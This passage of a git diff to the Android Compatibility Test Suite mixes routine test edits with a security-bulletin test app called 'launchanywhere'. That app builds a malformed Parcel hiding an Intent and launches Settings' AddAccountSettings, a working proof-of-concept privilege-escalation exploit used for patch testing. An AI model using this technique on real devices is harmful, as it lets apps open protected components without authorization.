+        data.writeInt(4);
+        data.writeString("com.android.internal.telephony.DcParamObject");
+        data.writeInt(0);
+
+        data.writeInt(0);
+        data.writeInt(6);
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
similarity index 67%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
index 5ee3aeb..bb473ab 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,16 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package com.android.security.cts.launchanywhere;
 
-import android.app.Activity;
-import android.os.Bundle;
+import android.content.Intent;
+import android.os.Parcel;
 
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
-}
+public interface IGenerateMalformedParcel { Parcel generate(Intent i); }
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
new file mode 100644
index 0000000..2d439da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class StartExploit extends Activity {
+    protected static final String TAG = "LaunchAnyWhere";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String exploitName = "com.android.security.cts.launchanywhere." +
+            getIntent().getStringExtra("cve");
+
+        String classAccessMessage = "Please ensure that the class is part of "
+            + "the com.android.security.cts.launchanywhere package";
+
+        try {
+            Authenticator.exploit =
+                (IGenerateMalformedParcel) Class.forName(exploitName)
+                    .newInstance();
+        } catch (ClassNotFoundException e) {
+            Log.e(TAG, "Unable to load the class " + exploitName + "! " +
+                    classAccessMessage);
+            e.printStackTrace();
+            return;
+        } catch (InstantiationException e) {
+            Log.e(TAG, "Unable to instantiate the exploit! " + exploitName);
+            e.printStackTrace();
+            return;
+        } catch (IllegalAccessException e) {
+            Log.e(TAG,
+                "Unable to access class " + exploitName + "! " +
+                classAccessMessage + " and is not private");
+            e.printStackTrace();
+            return;
+        }
+
+        Intent attacker = new Intent();
+        attacker.setComponent(new ComponentName(
+            "com.android.settings",
+            "com.android.settings.accounts.AddAccountSettings"));
+        attacker.setAction(Intent.ACTION_RUN);
+        attacker.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        String authTypes[] = {"com.launchanywhere"};
+        attacker.putExtra("account_types", authTypes);
+        startActivity(attacker);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 23355a6..23e2d6c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -78,7 +78,7 @@
     /** ID of the config, which evaluates to -1572883457. */
     public static final long CONFIG_ID = "cts_config".hashCode();
 
-    protected static final int WAIT_TIME_SHORT = 1000;
+    protected static final int WAIT_TIME_SHORT = 500;
     protected static final int WAIT_TIME_LONG = 2_000;
 
     protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 4b5aec5..ee659a2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -44,7 +44,6 @@
 
     private static final String TAG = "Statsd.HostAtomTests";
 
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
     private static final String FEATURE_WIFI = "android.hardware.wifi";
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
@@ -112,7 +111,6 @@
         if (statsdDisabled()) {
             return;
         }
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set charging state to full.
         setChargingState(5);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -165,7 +163,6 @@
         if (statsdDisabled()) {
             return;
         }
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, unplug device.
         unplugDevice();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -218,7 +215,6 @@
         if (statsdDisabled()) {
             return;
         }
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set battery level to full.
         setBatteryLevel(100);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -305,7 +301,6 @@
         if (statsdDisabled()) {
             return;
         }
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -343,7 +338,6 @@
             return;
         }
         if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         if (!hasBattery()) return;
         StatsdConfig.Builder config = getPulledConfig();
         FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
@@ -372,7 +366,6 @@
             return;
         }
         if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         if (!hasBattery()) return;
         StatsdConfig.Builder config = getPulledConfig();
         FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 584a834..84fc2d8 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -61,7 +61,6 @@
     private static final String TAG = "Statsd.UidAtomTests";
 
     // These constants are those in PackageManager.
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
     private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
     private static final String FEATURE_WIFI = "android.hardware.wifi";
@@ -551,9 +550,6 @@
         if (statsdDisabled()) {
             return;
         }
-        // For automotive, all wakeup alarm becomes normal alarm. So this
-        // test does not work.
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         final int atomTag = Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
 
         StatsdConfig.Builder config = createConfigBuilder();
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 199596b..6d399cb 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -63,7 +63,6 @@
 public class ValidationTests extends DeviceAtomTestCase {
 
     private static final String TAG = "Statsd.ValidationTests";
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final boolean ENABLE_LOAD_TEST = false;
 
     @Override
@@ -82,7 +81,6 @@
         if (statsdDisabled()) {
             return;
         }
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         resetBatteryStats();
         unplugDevice();
         // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
@@ -134,6 +132,7 @@
 
         assertNotNull(wl);
         assertTrue(wl.getDurationMs() > 0);
+        assertTrue(wl.getCount() == 1);
         assertTrue(wl.getMaxDurationMs() >= 400);
         assertTrue(wl.getMaxDurationMs() < 700);
         assertTrue(wl.getTotalDurationMs() >= 400);
@@ -151,7 +150,6 @@
         // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
         final int EXPECTED_UID = getUid();
 
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         turnScreenOn(); // To ensure that the ScreenOff later gets logged.
         // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
         // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index a77482a..4dc56f8 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -44,8 +44,6 @@
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipInputStream;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Test to check non-modifiable themes have not been changed.
  */
@@ -148,7 +146,7 @@
 
         super.tearDown();
     }
-    @CddTest(requirement="3.8.6/C-1-1,C-1-2")
+
     public void testThemes() throws Exception {
         if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 9df2d5c..01b5d88 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -36,8 +36,6 @@
 import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.RunUtil;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.util.regex.Matcher;
@@ -131,7 +129,6 @@
      * Check if adb serial number, USB serial number, ro.serialno, and android.os.Build.SERIAL
      * all matches and meets the format requirement [a-zA-Z0-9]{6,20}
      */
-    @CddTest(requirement="7.7.1/C-1-2")
     @AppModeFull(reason = "serial can not be read by instant apps")
     public void testUsbSerialReadOnDeviceMatches() throws Exception {
         installApp(false);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 9c4f18b..8838492 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -116,7 +116,6 @@
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        assumeTrue("Battery not present on device, abort setUp", hasBattery());
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = new AtomicInteger(0);
         updateAlarmManagerConstants();
@@ -254,9 +253,6 @@
 
     @After
     public void tearDown() throws Exception {
-        if (!hasBattery()) {
-            return;
-        }
         setPowerWhitelisted(false);
         setBatteryCharging(true);
         deleteAlarmManagerConstants();
@@ -337,10 +333,4 @@
     interface Condition {
         boolean isMet();
     }
-
-    /** Determine if device has battery and is supported AppStandby  */
-    private boolean hasBattery() throws Exception {
-        final String batteryinfo = executeAndLog("dumpsys battery");
-        return batteryinfo.contains("present: true");
-    }
 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 9331b32..f1dca8b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -32,7 +32,6 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.util.Log;
-import android.content.res.Resources;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -53,7 +52,6 @@
     public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
 
     private JobInfo.Builder mBuilder;
-    private int mLowBatteryWarningLevel = 15;
     /**
      * Record of the previous state of power save mode trigger level to reset it after the test
      * finishes.
@@ -64,9 +62,6 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        mLowBatteryWarningLevel = Resources.getSystem().getInteger(
-                     Resources.getSystem().getIdentifier(
-                             "config_lowBatteryWarningLevel", "integer", "android"));
         // Disable power save mode as some devices may turn off Android when power save mode is
         // enabled, causing the test to fail.
         mPreviousLowPowerTriggerLevel = Settings.Global.getInt(getContext().getContentResolver(),
@@ -95,16 +90,6 @@
         }
     }
 
-    boolean hasBattery() throws Exception {
-        Intent batteryInfo = getContext().registerReceiver(
-                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
-        boolean present = batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
-        if (!present) {
-            Log.i(TAG, "Device doesn't have a battery.");
-        }
-        return present;
-    }
-
     void setBatteryState(boolean plugged, int level) throws Exception {
         if (plugged) {
             SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set ac 1");
@@ -223,11 +208,6 @@
      * not plugged in but has sufficient power.
      */
     public void testBatteryNotLowConstraintExecutes_withoutPower() throws Exception {
-        // "Without power" test case is valid only for devices with a battery.
-        if (!hasBattery()) {
-            return;
-        }
-
         setBatteryState(false, 100);
         waitFor(2_000);
         verifyChargingState(false);
@@ -252,11 +232,6 @@
      * the device is not on power.
      */
     public void testChargingConstraintFails() throws Exception {
-        // "Without power" test case is valid only for devices with a battery.
-        if (!hasBattery()) {
-            return;
-        }
-
         setBatteryState(false, 100);
         verifyChargingState(false);
 
@@ -296,18 +271,13 @@
      * the battery level is critical and not on power.
      */
     public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
-        // "Without power" test case is valid only for devices with a battery.
-        if (!hasBattery()) {
+        if(getInstrumentation().getContext().getPackageManager().hasSystemFeature(FEATURE_WATCH) &&
+               getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+               TWM_HARDWARE_FEATURE)) {
             return;
         }
 
-        // Skip this test on products that do not support a low battery state
-        if (mLowBatteryWarningLevel <= 0) {
-            return;
-        }
-
-        setBatteryState(false, mLowBatteryWarningLevel);
-
+        setBatteryState(false, 5);
         // setBatteryState() waited for the charging/not-charging state to formally settle,
         // but battery level reporting lags behind that.  wait a moment to let that happen
         // before proceeding.
@@ -342,8 +312,8 @@
                 kTestEnvironment.awaitExecution());
 
         // And check that the job is stopped if battery goes low again.
-        setBatteryState(false, mLowBatteryWarningLevel);
-        setBatteryState(false, mLowBatteryWarningLevel - 1);
+        setBatteryState(false, 5);
+        setBatteryState(false, 4);
         waitFor(2_000);
         verifyChargingState(false);
         verifyBatteryNotLowState(false);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index c6694d4..a3e9343 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -192,29 +192,23 @@
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
 
         enterFakeUnpluggedState();
-        try {
-            setTestPackageStandbyBucket(Bucket.NEVER);
-            Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-            sendScheduleJobBroadcast(false);
-            assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
-        } finally {
-            resetFakeUnpluggedState();
-        }
+        setTestPackageStandbyBucket(Bucket.NEVER);
+        Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+        sendScheduleJobBroadcast(false);
+        assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
+        resetFakeUnpluggedState();
     }
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
         enterFakeUnpluggedState();
-        try {
-            setTestPackageStandbyBucket(Bucket.NEVER);
-            tempWhitelistTestApp(6_000);
-            Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-            sendScheduleJobBroadcast(false);
-            assertTrue("New job in uid-active app failed to start in NEVER standby",
-                    awaitJobStart(4_000));
-        } finally {
-            resetFakeUnpluggedState();
-        }
+        setTestPackageStandbyBucket(Bucket.NEVER);
+        tempWhitelistTestApp(6_000);
+        Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+        sendScheduleJobBroadcast(false);
+        assertTrue("New job in uid-active app failed to start in NEVER standby",
+                awaitJobStart(4_000));
+        resetFakeUnpluggedState();
     }
 
     @After
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index 8faee83..a64a900 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,8 +25,6 @@
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 import com.android.cts.process.activity.NoSharePidActivity;
 import com.android.cts.process.activity.SharePidActivity;
 import com.android.cts.process.activity.SharePidSubActivity;
@@ -34,7 +32,6 @@
 public class ProcessTest extends AndroidTestCase {
     private final int WAIT_TIME = 2000;
 
-    @CddTest(requirement="9.2/C-0-1")
     public void testUid() throws Exception {
         String enableApp = "com.android.cts.process.shareuidapp";
         String disableApp = "com.android.cts.process.noshareuidapp";
@@ -49,7 +46,6 @@
         assertNotSame(uid2, uid3);
     }
 
-    @CddTest(requirement="9.2/C-0-1")
     public void testPid() throws Exception {
         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 4c0284a..df61d25 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -30,38 +30,38 @@
         <activity
             android:label="@string/accessibility_end_to_end_test_activity"
             android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_query_window_test_activity"
             android:name=".activities.AccessibilityWindowQueryActivity"
             android:supportsPictureInPicture="true"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_view_tree_reporting_test_activity"
             android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_text_traversal_test_activity"
             android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
-             android:screenOrientation="locked"/>
+             android:screenOrientation="portrait"/>
 
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:screenOrientation="locked" />
+            android:screenOrientation="portrait" />
 
         <activity
             android:label="@string/accessibility_soft_keyboard_modes_activity"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 5390f5e..5718c21 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -67,14 +67,11 @@
 import java.util.List;
 import java.util.concurrent.TimeoutException;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * This class performs end-to-end testing of the accessibility feature by
  * creating an {@link Activity} and poking around so {@link AccessibilityEvent}s
  * are generated and their correct dispatch verified.
  */
-@CddTest(requirement="3.10/C-1-2,W-1-1")
 public class AccessibilityEndToEndTest extends
         AccessibilityActivityTestCase<AccessibilityEndToEndActivity> {
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index c6ec02e..f01251a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -27,13 +27,10 @@
 
 import java.util.List;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * This test case is responsible to verify that the intent for launching
  * accessibility settings has an activity that handles it.
  */
-@CddTest(requirement="3.10/C-1-3")
 @Presubmit
 public class AccessibilitySettingsTest extends AndroidTestCase {
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 3b2e978..68ba092 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -72,8 +72,7 @@
             return;
         }
         final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
-        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
-        final int otherVolume = (startingVolume == minVolume) ? (minVolume + 1) : startingVolume - 1;
+        final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
         final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
                 .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
         try {
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 90f00f3..4551792 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -49,7 +49,6 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -528,7 +527,6 @@
      * Test that background check behaves correctly after a process is no longer foreground:
      * first allowing a service to be started, then stopped by the system when idle.
      */
-    @CddTest(requirement="3.5/C-0-7")
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -1120,10 +1118,6 @@
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
                 WAIT_TIME);
         uidBackgroundListener.register();
-        UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
-                appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
-                WAIT_TIME);
-        uidCachedListener.register();
 
         WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
                 WAIT_TIME);
@@ -1197,7 +1191,7 @@
                     am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
 
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // While in background, should go in to normal idle state.
             // Force app to go idle now
@@ -1209,7 +1203,6 @@
             uidWatcher.finish();
             uidForegroundListener.unregister();
             uidBackgroundListener.unregister();
-            uidCachedListener.unregister();
         }
     }
 
@@ -1354,7 +1347,7 @@
             getInstrumentation().getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // Make both apps idle for cleanliness.
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 76e576a..a95f765 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -58,9 +58,11 @@
 
 import junit.framework.Assert;
 
+import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.InputStreamReader;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -470,6 +472,38 @@
         }
     }
 
+    public void testSuspendPackage_withoutShellPermission() throws Exception {
+        if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+            return;
+        }
+
+        try {
+            Process proc = Runtime.getRuntime().exec("cmd notification suspend_package "
+                    + mContext.getPackageName());
+
+            // read output of command
+            BufferedReader reader =
+                    new BufferedReader(new InputStreamReader(proc.getInputStream()));
+            StringBuilder output = new StringBuilder();
+            String line = reader.readLine();
+            while (line != null) {
+                output.append(line);
+                line = reader.readLine();
+            }
+            reader.close();
+            final String outputString = output.toString();
+
+            proc.waitFor();
+
+            // check that the output string had an error / disallowed call since it didn't have
+            // shell permission to suspend the package
+            assertTrue(outputString.contains("Error"));
+            assertTrue(outputString.contains("Disallowed call"));
+        } catch (InterruptedException e) {
+            fail("Unsuccessful shell command");
+        }
+    }
+
     public void testSuspendPackage() throws Exception {
         if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
             return;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 0b4f4fb..6c25a2dc 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -44,13 +44,11 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.List;
 
-@CddTest(requirement="3.5/C-0-2")
 public class ServiceTest extends ActivityTestsBase {
     private static final String TAG = "ServiceTest";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 6dc1df7..6d22063 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -43,7 +43,6 @@
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import java.lang.reflect.Field;
@@ -294,7 +293,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.4/C-1-1,C-2-1")
     public void testNfcFeatures() {
         if (NfcAdapter.getDefaultAdapter(mContext) != null) {
             // Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -503,7 +501,6 @@
         // TODO: Add tests for the other touchscreen features.
     }
 
